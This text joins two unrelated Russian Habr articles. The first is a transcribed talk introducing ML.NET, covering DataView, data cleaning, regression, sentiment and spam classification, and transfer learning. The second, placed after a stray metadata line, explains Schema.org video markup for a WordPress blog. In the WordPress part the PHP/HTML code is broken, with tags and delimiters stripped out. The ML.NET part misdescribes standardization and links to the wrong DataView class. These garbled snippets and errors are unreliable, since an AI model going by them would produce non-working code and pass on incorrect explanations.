Интересно, что ML.NET не такая уж и новая библиотека. Она вышла в свет совсем недавно, но внутри Microsoft она используется уже около 10 лет. Она возникла не внезапно, а развивалась постепенно в течение многих лет. Значительная часть кода была написана в Microsoft Research. Это был довольно сырой код, и пользоваться им было трудно даже тем, кто работал в Microsoft и имел доступ к этим библиотекам — не было общей архитектуры, приходилось пользоваться различными оболочками и прочим. Три года назад небольшая группа людей из Microsoft решила сделать эту библиотеку готовой к внешнему использованию и опенсорсной. На то, чтобы уговорить менеджмент в Microsoft согласиться на этот проект, ушел почти год. Он вышел под названием ML.NET. В основе ML.NET лежат те же алгоритмы, которые используются во множестве других продуктов Microsoft. Их почистили, сделали для них документацию и создали общий API.
DataView
--------
Перейдем непосредственно к тому, как работает эта библиотека, как она устроена и как её использовать в ваших проектах. Откроем Visual Studio. Нужно будет познакомиться с тем, что такое [DataView](https://docs.microsoft.com/ru-ru/dotnet/api/system.data.dataview?view=netframework-4.8). Те, кто занимался машинным обучением на Python, наверняка пользовались библиотекой [pandas](https://pandas.pydata.org/). У неё есть очень полезная структура данных, которая называется DataFrame. Типичная работа приложения выглядит так: мы читаем данные из некоторого источника, загружаем их в DataFrame, совершаем нужные преобразования, а затем используем их для обучения модели. Одна из основных структур в ML.NET называется DataView, это объект, который реализует интерфейс IDataView. Эта структура — аналог DataFrame, но более гибкая и универсальная. Команда ML.NET хотела создать библиотеку, которая, обучала бы модели значительно быстрее, чем обычные библиотеки вроде Scikit, и могла бы масштабировать работу, то есть чтобы при увеличении мощностей (например, на компьютере с несколькими ядрами или на кластере HTC с несколькими многоядерными процессорами) время обучения модели изменялось бы почти линейно.
Разработчики ML.NET хотели предоставить возможность работать с наборами данных такого размера, с которыми Python попросту не может справиться. Для этого и был создан DataView. На первых порах для этих целей использовался интерфейс IEnumerable, но у него довольно быстро обнаружился ряд ограничений. В частности, содержание IEnumerable должно помещаться в памяти, в то время как в data science часто приходится иметь дело с наборами данных, которые слишком велики для памяти. Выяснилось, что система типов .NET не могла позволить выполнять некоторые действия, которые разработчики хотели выполнять внутри этих структур данных.
Предположим, нам необходимо указать не только, что столбец содержит ряд целочисленных значений, но и что диапазон каждого из них ограничен (например, от 0 до 10). Для преодоления этих ограничений, команда ML.NET создала DataView. Идея этой структуры данных была взята у баз данных SQL. У такой DataView в сущности нет ограничения на размер содержащихся в ней данных, поскольку в память загружается ровно столько, сколько необходимо в данный момент. Кроме того, в DataView используется отложенное вычисление (lazy evaluation) — она не выполняет никаких действий до тех пор, пока не начинается обучение модели. Это создает некоторые сложности при отладке.
Предположим, вы загрузили данные в DataView и выполнили некоторые преобразования — если затем выполнить код по шагам в отладчике, из-за отложенного вычисления там не будет данных. Поэтому при работе с DataView один из самых важных методов — это preview. Поскольку он снижает производительность, есть смысл использовать его только при отладке. Если вызов preview с определенным DataView вставить в код, поставить на этот вызов точку останова, то в этой точке при отладке будет загружено содержимое DataView.
Одно из предназначений DataView — загрузка в него данных. При работе с машинным обучением данные очень часто хранятся в файлах с расширением .csv и .tsv.
```
// Load data from a CSV file that contains a header row
var data = context.Data.LoadFromTextFile("PATH_TO_DATA_FILE", hasHeader: true,
separatorChar: ',');
// Load data from a TSV file without a header row. Allow quotes and trim whitespace.
var data = context.Data.LoadFromTextFile("PATH_TO_DATA_FILE", allowQuoting: true,
trimWhitespace: true);
// Load data from multiple CSV files (all files must have the same schema)
var loader = context.Data.CreateTextLoader(hasHeader: true, separatorChar: ',');
var data = loader.Load("PATH1", "PATH2", "PATH3");
```
Для загрузки данных из этих файлов разработчики DataView сделали несколько методов, которые вы сейчас видите выше. У этих методов есть параметры, которые позволяют игнорировать кавычки и тому подобное. Загружать данные для DataView можно не только из файлов CSV и TSV. Очень часто для хранения данных используются базы данных, например, Asure SQL или MySQL.
```
// TODO: Load data into an array or other IEnumerable from an external data source. // The following example simply creates an array in memory.
var input = new[]
{
new Input { Age = 30, YearsExperience = 10, ... },
new Input { Age = 40, YearsExperience = 20, ... },
new Input { Age = 50, YearsExperience = 30, ... }
};
var data = context.Data.LoadFromEnumerable(input);
```
Во всех случаях, когда данные загружаются не из файлов CSV или TSV, мы используем метод LoadFromEnumerable, который сейчас показан выше. В этот метод передается объект IEnumerable. Он может быть как совсем простым, созданным в памяти, так и огромным, содержать миллион строк, загруженных запросом к базе данных. В примерах, которые мы будем с вами рассматривать, я чаще всего буду загружать данные из файлов TSV или CSV, но важно понимать, что данные можно загружать откуда угодно.
Помимо методов для загрузки данных в DataView, ML.NET также предоставляет методы, при помощи которых можно подготовить к работе данные, уже загруженные в DataView. Если вы занимались машинным обучением, вы знаете, что данные, взятые из реальных примеров, очень сырые и нуждаются в существенной обработке. Классический пример такой обработки — процесс под названием нормализация. Если используемые при обучении модели данные слишком сильно варьируются, в худшем случае это может привести к тому, что модель не сможет прийти к определенному решению. В лучшем случае обучение модели займет значительно больше времени, чем следует, и точность модели может пострадать. Чтобы этого избежать, данные подвергаются нормализации. Есть различные способы нормализации, один из них — стандартизация. Это значит, что все значения переводятся в диапазон от -1 до 1, из этих значений рассчитывается среднее, и это среднее отнимается от значений. Этот способ очень часто используется в data science. ML.NET предоставляет возможность выполнить это преобразование за одну строку кода.
```
// Remove rows with missing values in the "Age" and "YearsExperience" columns
var view = context.Data.FilterRowsByMissingValues(data, "Age", "YearsExperience");
// Remove rows where "Age" is less than 20 or greater than 80
var view = context.Data.FilterRowsByColumn(data, "Age", lowerBound: 20, upperBound: 80);
// Remove the "Age" column
var estimator = context.Transforms.DropColumns("Age");
var view = estimator.Fit(data).Transform(data);
// Replace missing values in the "Age" column
var estimator = context.Transforms.ReplaceMissingValues("Age",
replacementMode: MissingValueReplacingEstimator.ReplacementMode.Mean);
var view = estimator.Fit(data).Transform(data);
```
Выше приведены примеры того, как можно изменять данные в DataView. При загрузке данных очень часто выясняется, что в некоторых строках есть отсутствующие значения, а это отрицательно сказывается на обучении моделей. Есть несколько способов решить эту проблему. Самый простой заключается в том, чтобы попросту удалить строки с отсутствующими значениями, и в DataView есть метод, который это позволяет сделать. Другой способ — заменить отсутствующие значения средним по столбцу. В DataView есть методы для всех этих способов.
Один из наиболее важных методов в ML.NET — TrainTestSplit. Если вы когда-либо пользовались Scikit, то могли заметить, что у многих методов в ML.NET точно такие же имена, как и у аналогичных методов в Scikit. Команда ML.NET во многом следовала примеру Scikit, и они даже создали оболочку на Python для ML.NET, которая позволяет программистам на Python обучать модели ML.NET через API Scikit. Таким образом на Python доступны преимущества ML.NET: масштабируемость, производительность и т. п. Метод TrainTestSplit важен потому, что без проверки модели машинного обучения невозможно сказать, насколько точны её прогнозы. В идеале необходимо два набора исходных данных: один для обучения и другой — для проверки. Изредка нам с самого начала доступно два набора данных. Чаще всего набор данных есть только один. В этом случае мы делим его на обучающий набор данных и проверочный набор данных. Обычно это деление выполняется в пропорции 80/20, но иногда может быть и 50/50. TrainTestSplit выполняет именно это деление набора данных на два. Он используется практически во всех примерах, которые будут далее.
Когда все подготовительные операции выполнены, начинается обучение модели. В ML.NET для этого есть специальные методы.
Названия на изображении выше — на самом деле классы, а не методы, просто соответствующие методы создают экземпляр класса. Машинное обучение в основном используется для проблем регрессии и классификации. Эти две проблемы составляют 99.99% того, что называется проблемами контролируемого обучения (supervised learning). Причина популярности Scikit в том, что он представляет используемые в data science алгоритмы (метод опорных векторов, случайный лес, дерево решений, обычная регрессия методом наименьших квадратов) в виде простых вызовов функций. ML.NET добивается того же самого при помощи обучающих классов. В них используется работа, проведенная Microsoft Research на протяжение последних лет.
Создание регрессионной модели
-----------------------------
Регрессионная модель — это такая модель, результаты которой можно представить в численном значении. Например, мы используем модель для прогнозирования цены на дом или времени, после которого машина потребует техосмотра. Нам понадобится модель, которая дает результат в виде числа, то есть регрессионная модель. В ML.NET для создания таких моделей есть различные алгоритмы. Возможно многим знаком метод наименьших квадратов. Это наиболее простой вид регрессии, с которого всегда начинаются курсы по машинному обучению. Есть и значительно более сложные алгоритмы. В ML.NET все алгоритмы в этих классах обладают отличной документацией, где можно найти все подробности реализации.
Выше пример регрессионной модели. Здесь выполняется разделение данных в DataView в пропорции 80/20, то есть 80% данных будет использоваться для обучения, а 20% — для проверки. Следующий шаг — создание пайплайна. Здесь выполняется вызов context.Transforms.Concatenate. Первая строка кода в любом приложении ML.NET создает объект класса MLContext. Этот объект позволяет обратиться к свойствам, через которые предоставляется доступ к различным API ML.NET. В примере выше переменная context на первой строке является экземпляром класса MLContext. Через свойство Data этой переменной мы вызываем метод TrainTestSplit, который делит данные на два набора. Затем через свойство Transforms делается вызов метода Concatenate. Эта константа не существует в Scikit и других библиотеках машинного обучения. При обучении модели машинного обучения мы начинаем с таблицы со столбцами и строками. В одном из этих столбцов содержатся значения зависимой переменной (label column), а в остальных — значения независимых переменных (feature columns).
При обучении модель пытается построить зависимость между зависимой и независимыми переменными. Для создания такую структуру в ML.NET, необходимо вызвать метод Concatenate и создать столбец Features в своем DataView. В этом же вызове можно указать столбцы DataView, в которых будут содержаться значения независимых переменных. Можно не указывать ничего, и тогда в эту категорию будут включены все столбцы DataView. В случае примера выше мы указываем столбцы Col1, Col2 и Col3. После этого необходимо выполнить алгоритм обучения. Снова обращаемся к нашему объекту context, к свойству Regression.Trainers, и вызываем метод FastForest(), который создает экземпляр класса FastForestRegressionTrainer. Регрессия быстрый лес (Fast Forest )— это более сложный вариант регрессии случайный лес (Random Forest) и дерева решений.
Преимуществом этих алгоритмов является отсутствие потребности в нормализации данных, поэтому в нашем примере никакой нормализации не выполняется. Следующий шаг — обучение модели. Это происходит при вызове метода pipeline.Fit(), в который в качестве аргумента передаются данные для обучения. Весь предшествующий код выполняется очень быстро, этот же метод может потребовать продолжительного времени. Если набор данных небольшой, в районе тысячи значений, то выполнение займет несколько секунд, если же это таблица с 500 миллионами строк, то необходимо будет значительно больше времени. Работа с такими массивами данных обычно выполняется не на ноутбуках, а в кластерах HPC в Azure или AWS с GPU.
```
var options = new FastForestRegressionTrainer.Options
{
// Only use 80% of features to reduce over-fitting
FeatureFraction = 0.8,
// Simplify the model by penalizing usage of new features
FeatureFirstUsePenalty = 0.1,
// Limit the number of trees to 50
NumberOfTrees = 50
};
var pipeline = context.Transforms.Concatenate("Features", "Col1", "Col2", "Col3")
.Append(context.Regression.Trainers.FastForest(options));
```
При вызове метода, определяющего алгоритм обучения (алгоритм быстрый лес из предыдущего примера), можно пользоваться настройками по умолчанию, но есть возможность указать свои настройки через переменную options. У функции Scikit, реализующие алгоритмы обучения, могут принимать 5, 10 или даже 20 параметров. То же самое мы видим и здесь. У всех методов, создающих классы для обучения, есть значения по умолчанию, обеспечивающие вполне удовлетворительную работу. Если правильно подобрать параметры, то точность модели можно существенно улучшить. Этот процесс подбора параметров называется hyperparameter tuning. В ML.NET постоянно используется паттерн, который вы видите выше: создание объекта options и наполнение его необходимыми параметрами. В Scikit вместо этого используются необязательные параметры функций.
Единственный способ узнать, выполняет ли модель свою задачу, это проверка. Во многих библиотеках проверка требует значительного количества кода. В ML.NET, напротив, этот процесс сделан максимально простым. Если мы создали регрессионную модель, дающую результат в виде числа, мы получаем доступ к объекту, в свойствах которого содержатся все метрики, которые используются в data science для оценки регрессионных моделей. Очень часто используется коэффициент детерминации, R2. Он изменяется в диапазоне от 0 до 1, при этом 0 означает низкую точность модели, а 1 — высокую. Следует стремиться, чтобы показатель R2 превышал 0.8 или 0.9. Есть и другие показатели, при помощи которых оценивают регрессионные модели, например, среднеквадратическая ошибка и средняя абсолютная ошибка.
Все эти показатели доступны в ML.NET, а чтобы их увидеть, необходимо сделать вызов метода context.Regression.Evaluate.
В data science очень важна перекрестная проверка (cross-validation). Когда мы случайным образом отбираем строки из набора данных для проверки модели, результаты проверки могут оказаться разными в зависимости от того, какие строки были отобраны. Поэтому принято выполнять перекрестную проверку: деление исходного набора данных на два в пропорции 80/20 выполняется пять раз, и для каждой пары выполняется обучение и проверка. Это увеличивает время выполнения алгоритма в пять раз. Теперь для оценки модели используется среднее от среднеквадратических ошибок и R2 всех пяти результатов, и такая оценка является более достоверной. В ML.NET вся эта процедура максимально упрощена. Это демонстрируется в примере:
Вместо метода Evaluate мы вызываем context.Regression.CrossValidate и указываем количество раз, которое следует выполнить перекрестную проверку. Среднее показателей R2 автоматически не рассчитывается, но отдельные показатели для каждой проверки вычисляются. Чтобы рассчитать среднее самостоятельно, достаточно одной строки кода.
Знакомы ли вы с термином унитарная кодировка (one-hot encoding)? Чаще всего модели машинного обучения умеют работать только с цифрами. При этом есть много задач, где входные значения строковые. Это так называемые категорийные значения (categorical values). В нашем наборе данных может быть столбец, обозначающий марку машины: BMW, Audi, или что-либо подобное. Текст понятен нам, людям, но не модели. Чтобы сделать эти значения понятными для модели, используется процесс, который называется унитарная кодировка. К DataView добавляются дополнительные столбцы, по одной для каждого уникального значения в столбце качественных значений. В этих столбцах указываются значения 0 или 1 в зависимости от того, существует ли соответствующее значение в исходном наборе данных. В такой форме модель машинного обучения может прочитать эти данные. В Scikit и в ML.NET это действие выполняется одной строкой кода.
Модель регрессии в ML.NET
-------------------------
[Ссылка на видео с демонстрацией](https://youtu.be/6LNcXqiT6T0?t=2015)
[Ссылка на репозиторий](https://github.com/jeffprosise/ML.NET/tree/master/MLN-MultipleRegression)
Набор данных, с которым эта модель работает, позаимствован у Zillow, компании, занимающейся недвижимостью. Они публикуют свои данные, и их очень удобно использовать для обучения моделей машинного обучения. Наш набор данных содержится в файле CSV, в нем 440 строк. Точную модель на таком маленьком наборе не построить, но зато обучение идет быстро даже на двухядерном ноутбуке. В каждой строке содержатся данные о сделке на недвижимость в районе Сан-Франциско в США, размер жилья в квадратных футах, количество спальных комнат, ванных комнат, а также цена последней купли/продажи. Задача модели — сделать прогноз цены недвижимости на основе предоставленных параметров.
Перейдем к приложению program.cs. Это приложение .NET Core.
Начнем изучать код с конца. Одно из важных преимуществ ML.NET и C# в целом — сильная типизация. В Python об ошибке типизации узнаешь только при запуске кода, и трудно понять, где именно эта ошибка произошла. В ML.NET мы определяем, как должны выглядеть как входные, так и выходные данные модели машинного обучения. В примере выше я определил класс Input. Имя может быть любым. У этого класса определено несколько свойств, имена которых совпадают с именами столбцов набора данных. Атрибут LoadColumn указывает, из какого столбца файла CSV следует загружать эти данные. Обратите внимание, что одному из столбцов присвоен атрибут Label. Так называется столбец со значениями, которые необходимо прогнозировать, в данном случае это столбец с ценой последней купли/продажи. Выходными данными модели является прогноз цены недвижимости. Для выходных данных мы определяем отдельный класс с именем Output, и создаем в нем переменную Price. Имя переменной может быть любое, важен её атрибут: ColumnName. Мне не нравятся библиотеки, в которых выполняются различные трюки при чтении строковых значений, но здесь допущено такое поведение. В данном случае ColumnName может быть только Score, при любых других значениях возникает исключение. Этот атрибут указывает, что столбец Score итогового DataView должен быть связан с соответствующей переменной в классе Output.
[Ccылка на видео с демонстрацией](https://youtu.be/6LNcXqiT6T0?t=2250)
[Ссылка на репозиторий](https://github.com/jeffprosise/ML.NET/blob/master/MLN-MultipleRegression/MLN-MultipleRegression/Program.cs)
Рассмотрим код, который создает модель, обучает и затем выполняет её. Мы создаем новый объект MLContext, который, как мы помним, предоставляет доступ ко всем необходимым API. При создании этого объекта можно указать начальное значение для генератора случайных чисел. Во многих популярных библиотеках на Python одну и ту же модель можно обучать по многу раз с одним и тем же набором данных, и каждый раз результат будет новым, поскольку эти библиотеки генерируют случайные числа для своей работы. В Keras не сразу понятно, как изменить такое поведение модели. Для этого нужно выйти на Stack Overflow, где предлагается решение проблемы в виде 10 строк кода, и скопировать этот код к себе. ML.NET значительно упрощает эту процедуру и легко позволяет получать одинаковые результаты при одинаковых входных данных.
Я создаю DataView при помощи метода LoadFromTextFile, которому передается файл PacificHeights.csv. В этом файле нет отдельных наборов данных для обучения и проверки, поэтому их необходимо создать. Это делается при помощи метода TrainTestSplit, и теперь мы используем 80% данных для обучения, а 20% — для проверки. В исходном наборе данных есть столбец под названием UseCode, в котором указывается тип жилища (кондоминиум, отдельный дом, квартира). Эти значения являются категорийными, так что нам необходимо выполнить унитарную кодировку. Для этого мы вызываем метод OneHotEncoding и указываем ему соответствующий столбец качественных значений (UseCode). Затем мы выполняем вызов Concatenate и указываем, в каких столбцах содержатся значения независимых переменных. Последний вызов в этой строке выбирает алгоритм Fast Forest для обучения модели. Вызов метода pipeline.fit() запускает обучение модели. В наборе данных, который мы используем, всего 400 с лишним строк — обучение пройдёт очень быстро.
[Ссылка на видео с демонстрацией](https://youtu.be/6LNcXqiT6T0?t=2417)
В результате показатель R2 равен 0.74, что не так уж и плохо. При этом показатель R2 по результатам перекрестной проверки ниже, то есть без перекрестной проверки этот показатель оказывается завышен. Цена, которую спрогнозировала модель, оказалась довольно близка к фактической цене.
Оценка и прогноз
----------------
Для оценки используется метод context.Regression.Evaluate объекта класса MLContext. В качестве ключевого показателя я выбрал R2. Он изменяется в диапазоне от 0 до 1, где 1 соответствует максимальной точности. При помощи метода context.Regression.CrossValidate мы получаем более реалистичное представление о точности модели.
[Ссылка на видео с демонстрацией](https://youtu.be/6LNcXqiT6T0?t=2477)
[Ссылка на репозиторий. Строка 48](https://github.com/jeffprosise/ML.NET/blob/master/MLN-MultipleRegression/MLN-MultipleRegression/Program.cs)
Перейдем к прогнозу. Чтобы сделать прогноз при помощи созданной (в идеале, проверенной) модели, необходимо вызвать метод CreatePredictionEngine. В качестве параметров этого метода вводятся объекты Input и Output, определяющие свойства входных и выходных данных модели соответственно. Мы создаем этот объект Input, присваиваем необходимые значения его свойствам, и, наконец, вызываем метод .Predict у объекта, возвращенного методом CreatePredictionEngine. Такой паттерн широко используется в ML.NET.
Обобщим
-------
Мы познакомились с основами использования ML.NET. В ML.NET используется сильная типизация, которая позволяет указать как формат данных, используемых для обучения модели, так и формат выходных данных модели. В случае рассмотренного примера результатом работы модели является значение float Price, которое прогнозируется на основе столбца LastSoldPrice исходного набора данных. Этот столбец был обозначен как Lable. Мы создали объект класса MLContext, затем создали DataView на основе файла CSV с исходными данными. Затем мы разделили этот набор данных в пропорции 80/20 для обучения и проверки модели. Поскольку данные содержали столбец с категорийными значениями, указывающий тип жилища, мы выполнили унитарную кодировку. При помощи метода Concatenate мы указали столбцы, на основе которых должно выполняться обучение модели. После этого мы указали, что модели следует использовать алгоритм Fast Forest. Непосредственно обучение было вызвано методом .Fit().
Модели классификации
--------------------
В машинном обучении есть ещё один вид моделей — модели классификации. Такие модели используются для того, чтобы определить, является ли сообщение электронной почты спамом. Такая модель, где классификация идет лишь по двум возможным классам, называется моделью бинарной классификации. Другой пример — оптическое распознавание символов, было одним из наиболее ранних применений машинного обучения около 20 лет тому назад. Это уже многоклассовая классификация, поскольку возможное число классов равно числу символов, которые необходимо распознать. Для таких моделей применяется немного другой алгоритм обучения. В ML.NET есть несколько различных широко используемых алгоритмов бинарной классификации.
Выше перечислены классы этих алгоритмов. Также, как и в случае с регрессионными моделями, модели классификации необходимо проверять после того, как завершено их обучение. Показатели оценки точности модели здесь используются другие. Тут нет R2 или среднеквадратической ошибки. Вместо этого применяются: показатель F1, показатель площади под кривой scores, матрица несоответствия (confusion matrix) и другие. Все они доступны в ML.NET, для их вычисления необходима всего одна строка кода. Вызов метода Evaluate возвращает объект, в свойствах которого хранятся все необходимые показатели. Так же, как и с регрессионными моделями, с моделями классификации можно выполнять перекрестную проверку. После нее мы, опять-таки, получаем объект, свойства которого содержат показатели, описывающие нашу модель.
Векторизация текста
-------------------
Модели машинного обучения могут работать лишь с числами. Текст в наборах данных может быть в форме категорийных значений, например, порода собаки или марка автомобиля. Зачастую данные могут содержать целые предложения и абзацы. В случае задачи классификации сообщений электронной почты текст сообщений необходимо превратить в векторы, то есть в наборы нулей и единиц. Здесь нас не выручит унитарная кодировка. Чаще всего в этом случае применяется векторизация. При этом текст проходит несколько преобразований. Он целиком переводится в нижний регистр, из него удаляются слова с небольшой смысловой нагрузкой (в английском языке это напр. «the» или «that»). На основе очищенного текста создается таблица нулей и единиц, в которой для каждого уникального слова или сочетания слов есть отдельный столбец. Такая таблица может достигать колоссальных размеров — если в тексте используется 50 тысяч различных слов, то в таблице будет 50 тысяч столбцов. Если же таких текстов (например, сообщений) миллион, то в ней также будет 1 миллион строк. Для компьютера это не такие уж и большие числа. В ML.NET есть метод FeaturizeText, который автоматически выполняет все эти действия. При его выполнении текст проходит 9 различных преобразований, которые в большинстве других библиотек необходимо делать вручную.
Работа с методом FeaturizeText
------------------------------
Если вы интересуетесь машинным обучением, вы слышали об анализе тональности текста. Модель может проанализировать рецензию на фильм или отзыв на товар и оценить этот текст в диапазоне от 0 до 1, где 1 — позитивная оценка, а 0 — негативная. Мой сын занимается data science, он закончил ВУЗ полтора года тому назад, а за полгода до выпуска он работал в компании, которая продает товары для домашних животных по всему миру. Одной из первых задач для него было создать модель анализа тональности текста, которая могла бы предупреждать отдел маркетинга в случае, если в твиттере появлялись негативные оценки компании или её продуктов. Анализ тональности текста выполнить довольно просто.
[Ссылка на видео с демонстрацией](https://youtu.be/6LNcXqiT6T0?t=2994)
[Ccылка на репозиторий. Строка 21](https://github.com/jeffprosise/ML.NET/blob/master/MLN-SentimentAnalysis/MLN-SentimentAnalysis/Program.cs)
Рассмотрим пример такого анализа. У нас есть набор из 1000 высказываний с Yelp. Это довольно маленький набор данных. Каждому из высказываний уже присвоена оценка 0 или 1 в зависимости от того, положительный это комментарий или отрицательный. На основе этого мы создаем модель бинарной классификации, которая сможет присвоить любой строке текста оценку от 0 до 1. Мы создаем объект класса MLContext, загружаем DataView из файла TSV, делим набор данных на две части, одна из которых используется для обучения, другая — для проверки. После этого мы вызываем метод .FeaturizeText, который создает огромный набор данных с отдельным столбцом для каждого уникального слова в анализируемых текстах. В качестве алгоритма мы используем быстрое дерево (эта версия алгоритма выполняет классификацию, а не регрессию). Я опробовал несколько алгоритмов для решения этой задачи, и этот дал сравнительно неплохие результаты. Метод .Fit() выполняет обучение модели. После этого мы делаем оценку и перекрестную оценку модели.
[Ссылка на видео с демонстрацией](https://youtu.be/6LNcXqiT6T0?t=3107)
Фраза «Еда отличная, и прекрасное обслуживание» получила оценку 0.996, то есть очень высокую. Фраза «Я бы свою собаку сюда есть не привел» оценена баллом 0.01, то есть очень низким. Результат довольно точный. Ни одна библиотека не создает настолько точные модели анализа тональности настолько быстро, как ML.NET. Это всё можно делать в C#.
Обнаружение спама
-----------------
Несколько слов об используемом наборе данных. Причина, по которой машинное обучение так сильно набрало обороты в последнее время, заключается в том, что сейчас нам доступно больше данных, чем ещё 5 или 10 лет назад. В прошлом произошел скандал вокруг фирмы Enron, в результате которого несколько её руководителей оказались в тюрьме. Миллионы сообщений электронной почты этой компании стали собственностью государства США и были опубликованы. Исследователи перебрали всю эту гору сообщений, и присвоили каждому оценку 1 или 0, то есть спам или не спам. Благодаря этой работе сейчас мы можем обучать очень точные модели определения спама. Это не единственный набор данных для обнаружения спама, находящийся в открытом доступе.
Для нашей модели мы используем иной алгоритм, чем в предыдущем примере. Я опробовал несколько различных алгоритмов, и этот дал наилучшие результаты. Уже обученной модели я передал несколько пробных сообщений, одно из которых было очевидным спамом. Последнее получило оценку около 0.1. То есть алгоритм дает очень точные результаты. 20 лет назад именно эта задача стала одним из первых применений машинного обучения. До этого для обнаружения спама использовались системы, работавшие на основе правил, и их было довольно легко обойти.
Область применения машинного обучения и ИИ существенно выросла благодаря последним достижениям в компьютерном зрении. Предположим, вы работаете в компании, которая производит детали машин. Нам необходимо написать программу, которая сможет определить по фото, является ли сошедшая с конвейера часть бракованной или нет. 20 лет тому назад эта задача была почти нерешаемой, 10 лет назад она была бы крайне проблематичной, на сегодняшний день она решена благодаря достижениям в области классификации изображений. Классификация изображений — это процесс узнавания программой объектов на изображении. Большинство моделей, выполняющих классификацию изображений, являются конволюционными нейронными сетями. Подробнее о главной трудности при классификации изображений.
В нашем примере с обнаружением брака в деталях создать программу вполне реально, но чтобы обучить её, понадобится очень крупный и дорогой кластер HPC с GPU. Причина, по которой исследователи из Microsoft Research или Facebook могут создавать крайне сложные модели распознавания изображений заключается в том, что у них есть доступ к кластерам с тысячами узлов с GPU от NVIDIA. Без доступа к таким мощностям обучить сеть обычным способом распознавать бракованную деталь невозможно. Мы можем обойти эту трудность при помощи переноса обучения. Microsoft, Google и Facebook уже создали крайне сложные конволюционные нейронные сети при помощи TensorFlow и опубликовали их на GitHub. Эти сети довольно большие, до 100 мегабайт.
Перенос обучения позволяет убрать уровни классификации у такой сети и приспособить её для наших нужд. Переучив такую сеть на 50-100 изображениях, можно получить точность выше 90%. В Scikit этого сделать нельзя. Keras такую возможность предоставляет, но там это выглядит жутко. В ML.NET пока нельзя создавать нейронные сети с нуля. Но зато можно переучивать готовые нейронные сети, созданные Microsoft, Google или кем-либо ещё.
В США есть довольно популярный сериал Silicon Valley. В этом сериале был эпизод, где фигурировало приложение Not a Hot Dog. Оно могло определить, является ли еда на изображении хот-догом. Задача здесь на самом деле очень сложная, и ещё 10 лет тому назад она была бы нерешаемой. В моём примере я использовал созданную Google конволюционную нейронную сеть.
При помощи малоизвестного класса ML.NET TensorFlowModel я переобучил эту модель на 20 изображениях, и теперь она может определить, присутствует ли на изображении хот-дог. После этого я вызвал метод, который сохранил новую версию модели на жёсткий диск в виде файла ZIP. Затем я написал небольшое приложение WPF, которое использует эту модель. Благодаря тому, что она сохранена на жесткий диск, можно не тратить каждый раз время на её обучение, и сразу же загружать её в программу из файла. В приложении можно загрузить изображение, и при помощи модели оно определяет, присутствует ли на изображении хот-дог. Без переноса обучения для обычного программиста было бы невозможно создать нейронную сеть, которая могла бы решить такую задачу. С ML.NET использовать чужие нейронные сети проще, чем с любой другой библиотекой для машинного обучения.
На GitHub есть репозиторий, где можно найти все примеры, которые Джефф Просайз демонстрировал в докладе, а также некоторые другие. Периодически в этих примерах код обновляется. Адрес репозитория: [github.com/jeffprosise/ML.NET](https://github.com/jeffprosise/ML.NET).
> DotNext 2020 Piter пройдет в новом онлайн-формате с 15 по 18 июня. Джефф Просайз представит [новый доклад](https://dotnext-piter.ru/2020/spb/talks/2svseu8qjszq1jnyz7tpdh/?utm_source=habr&utm_medium=495208) о машинном обучении. Также на конференции выступят Джон Скит (первый человек на всем Stack Overflow, автор книги C# in Depth) и Скотт Хансельман (вы можете помнить его по недавнему Microsoft Build, где он демонстрировал новые инструменты для разработчиков). Еще больше крутых спикеров можно увидеть по [билету-абонементу](https://live.jugru.org/?utm_source=habr&utm_medium=495208#rec181625429) на все 8 конференций этого лета. | https://habr.com/ru/post/495208/ | null | ru | null |
# Блог на Wordpress с семантической разметкой
Прошло более года с тех пор, как Google, Bing и Yahoo предложили стандарт семантической разметки **Schema.org**. Но вебмастера не спешат внедрять рекомендации поисковиков на своих сайтах. А зря. Например, представители Яндекса на вопрос о влиянии семантической разметки на ранжирование сайта ответили следующие:
*«Во многих случаях использование разметки делает ваш сайт заметнее в Поиске Яндекса и таким образом привлекает больше целевой аудитории. Яндекс в свою очередь заинтересован в том, чтобы пользователи решали задачи, с которыми они пришли на Поиск. Одна из наших метрик качества так и называется „счастье пользователя“. Очевидно, что сайты, повышающие „счастье“ будут ранжироваться выше. „*
Т.е. применение семантической разметки, по крайней мере, косвенно влияет на ранжирование сайта. И правда, ведь в многих случаях сниппет сайта с разметкой выглядит более информативным и привлекательным для пользователя. Посмотрим как выглядят сайты с разными схемами разметки:
1.Товары с рейтингом
2. Рецензия
Как вы понимаете, пользователь с большей вероятностью кликнет на такой снипет, а ваш сайт получит профит в виде роста позиций (если другие факторы в норме). Также Яндекс рекомендует использовать разметку Schema.org вместо микроформатов, т.к. первая более современная и быстроразвивающаяся.
Это было небольшое вступление о важности применения семантической разметки, теперь перейдем непосредственно к практическому применению.
Передо мной стояла задача сделать видео блог, поэтому далее я буду вести речь о применении микроразметки для данного типа контента. Но по образцу вы можете сделать каталог организаций или блог с новинками музыки и д.р. В качестве платформы я использовал CMS Wordpress.
Чтобы описать видео ролик, необходимо:
* название ролика
* описание
* скриншот
* видеофайл
* указать длительность
Теперь смотрим, какая из схем микроразметки нам подойдет. Останавливаемся на VideoObject — <http://schema.org/VideoObject>. Т.е. нам нужно добавить к общему контейнеру запись:
```
itemscope="" itemtype="http://schema.org/VideoObject"
```
А каждый из параметров видео будет размечен при помощи параметров:
```
значение
```
или
```
```
Понятное дело, что для каждого видеоролика мы не будем вручную прописывать в html информацию, нужно как-то упростить данный процесс. Из заголовка материала мы возьмем названия для нашего видео. С описанием проблем тоже нет. А для заполнения остальных полей мы будем использовать функцию “Произвольные поля». Если вы еще не знаете о таком функционале в Wordpress, то пора бы обратить внимание. Проще говоря, произвольные поля позволяют к любому материалу добавлять любые записи. Например, чтобы сделать каталог организаций стандартными средствами, вы с помощью текстового редактора добавляли бы все данные организации: телефон, адрес, время работы или использовали стороннее дополнение. А с помощью произвольных полей, можно обычные статьи превратить в каталог произвольных данных.
Чтоб информацию (в данном случае код микроразметки), введенную в произвольное поле, можно было использовать для вывода в шаблоне, мы воспользуемся таким кодом:
```
php $image = get_post_meta($post-ID, 'thumbnail', true); if($image !== '') { ?>
php } ?
```
или
```
php $image = get_post_meta($post-ID, 'thumbnail', true); if($image !== '') { ?>
php echo $image ?
php } ?
```
где **thumbnail** — название произвольного поля.
В поле thumbnail мы будем вводить ссылки на скриншоты к видео. Осталось добавить поля embedurl для ссылки на видео файл и duration для отображения длительности. К слову, последний параметр не обязательный, к тому же он требует ввода даты в формате ISO 8601. <http://en.wikipedia.org/wiki/ISO_8601>. Параметры name и description привяжем к участкам кода, где выводится заголовок и описание поста.
В качестве плеера я использовал плагин **Stream Video Player**.
В результате мы получаем примерной такой сниппет:
